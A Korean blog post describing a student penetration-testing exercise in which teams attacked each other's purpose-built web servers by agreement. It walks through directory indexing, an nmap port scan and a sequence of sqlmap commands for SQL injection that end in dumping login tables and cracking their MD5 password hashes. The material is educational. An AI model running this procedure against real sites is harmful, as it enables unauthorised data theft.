인공지능 개발일지

[보안] 웹 해킹 팀 프로젝트(시나리오 실습) 본문

프로젝트

[보안] 웹 해킹 팀 프로젝트(시나리오 실습)

Prcnsi 2021. 8. 22. 19:59
728x90

웹해킹 프로젝트는 팀별로 웹페이지를 만들고 서로의 웹페이지의 정보를 빼오는 모의해킹을 실습한 프로젝트입니다.

이 프로젝트는 2주동안 웹페이지를 만들고 1주일에 한 번씩 2회의 실습에 걸쳐 진행되었습니다.

 

프로젝트에 대한 더 자세한 소개와 내용은 아래 깃허브 레파지토리에서 확인할 수 있습니다.

https://github.com/Prcnsi/Hacking_Team_Project

 

GitHub - Prcnsi/Hacking_Team_Project: 팀별로 서버를 구축해서 모의해킹 실습!!

팀별로 서버를 구축해서 모의해킹 실습!! Contribute to Prcnsi/Hacking_Team_Project development by creating an account on GitHub.

github.com

 

 

 

 

본 포스트를 올리게 된 이유는 실습을 위해 sqlmap 등의 예시를 찾아보는데 

기존 포스트의 대부분이 DVWA로 실습서버가 동일한 점을 착안하여

 

실 서버를 구축해서 실습한 이번 프로젝트가 올라가면 참고가 될까 싶어 올리게 되었다.

 

실제 서버를 대상으로 해킹을 시도하면 불법이고

본 포스트는 팀끼리 합의된 상황에서 진행되었음을 알립니다.

 

 

이번 프로젝트를 진행하면서 각종 해킹 툴, 혹은 이론들에 대해 그래서 실제로 (모의) 해킹할 때

어디서 어떻게 써먹을 것인가에 대한 실증적인 고민을 했다.

 

예를 들어서 익히 포트스캔은 열린 포트로 침투한다고 이론적으로 알고 있는데

실제로 nslookup으로 ip를 알아내고 nmap으로 열린 포트까지는 쉽게 알아낼 수 있다.

 

그런데 여기서 어떻게 더 접근할 것인가에 대한 문제는 아직 해결을 못 했다.

 

이 프로젝트는 2주의 시간동안 팀별로 서버를 구축하고 해당 서버를 공격하는 프로젝트이다.

실습은 1주일에 1회씩 2주간 총 2회의 실습으로 이루어졌다.

 

아래는 1회의 실습에서 얻은 피드백을 바탕으로 2회 실습 때 사용할 시나리오(계획)이다.

 


요약

-디렉터리 인덱싱, 포트스캔으로 열린 포트 확인 가능

-sqlmap으로 sql injection

  1. 취약점 확인

  2. 전체 DB확인

  3. 현재 DB 확인

  4. 현재 DB 지정하고 (-D DB명) 테이블 조회

  5. 테이블 기능 추정(로그인/게시판)

  6. DB와 테이블 모두 지정하고 전체 조회(덤프)

 

 

피드백 기반 시나리오(공격 계획)

 

1. 디렉터리 인덱싱 취약점: 프로젝트명 지운 URL 들어가면 디렉터리 인덱스 나열됨

       => 웹 구조 파악 가능

우리 서버 메인 페이지

 

디렉터리 인덱싱 취약점

 

 

2. Nsloopup (enter) URL IP 주소 확인

 

웹의 IP주소 얻기

 

3. Nmap -sT ip 알아낸 ip 열린 포트 확인

 

4. 웹의 취약점 파악

sqlmap -u [get으로 받는 페이지의 URL] 

취약점 스캔
DB(MySQL) 버전 확인

+sqlmap -u [get 사용하는 페이지의 url] --dbs으로 모든 db 확인 가능

전체 DB파악

 

 

5. 현재 DB파악

sqlmap -u [get으로 받는 페이지의 URL]” –current-db

현재 DB확인

(저거 내가 CREATE DATABASE login으로 만든 거(뿌듯))

 

6. 테이블 목록 조회

sqlmap -u [get 사용하는 페이지의 url] -D [db명] --tables

테이블 조회
테이블 확인

 

+칼럼 조회

sqlmap -u [get 사용하는 페이지의 URL] -D [db명] -T [테이블명] --columns

칼럼 조회
칼럼 확인

 

7. 테이블 전체 덤프(탈취)

sqlmap -u [get 사용하는 페이지의 url] -D [db명] -T [테이블명] –dump

덤프
결과 화면

위의 화면을 보면 해쉬도 풀 거냐는 옵션에 'Y'를 해서 해쉬로 암호화된

비밀번호 값까지 확인하는 것을 알 수 있다. 

(md5로 $pw=$_POST ['pw'];와 $pw=md5($pw);로 암호화해서 저장함)

 

 

 

한 가지 의문점은 저 상황에서 실제 DB 들어가서 확인해 보면 위 화면처럼 다 Blank로 뜨지 않고

잘 저장되어 있는데 여기선 다 안 나오는 게 좀 의문이다.

 

왜 그럴까 싶지만 다행히 이 시나리오대로 공격했을 때 다른 팀 DB는 잘 털렸다.

그래서 우리 코드가 좀 더 보안에 신경 썼다는 뜻으로 받아들이겠다.

 

이상으로 우리 서버에 실습해 보면서 다른 팀을 어떻게, 어떤 순서로 공격해볼지 계획해봤다.

다음 포스트에서는 모의해킹 Writeup을 확인할 수 있다.

728x90

'프로젝트' 카테고리의 다른 글

[보안] 웹 해킹 팀 프로젝트(Writeup)  (0) 2021.08.22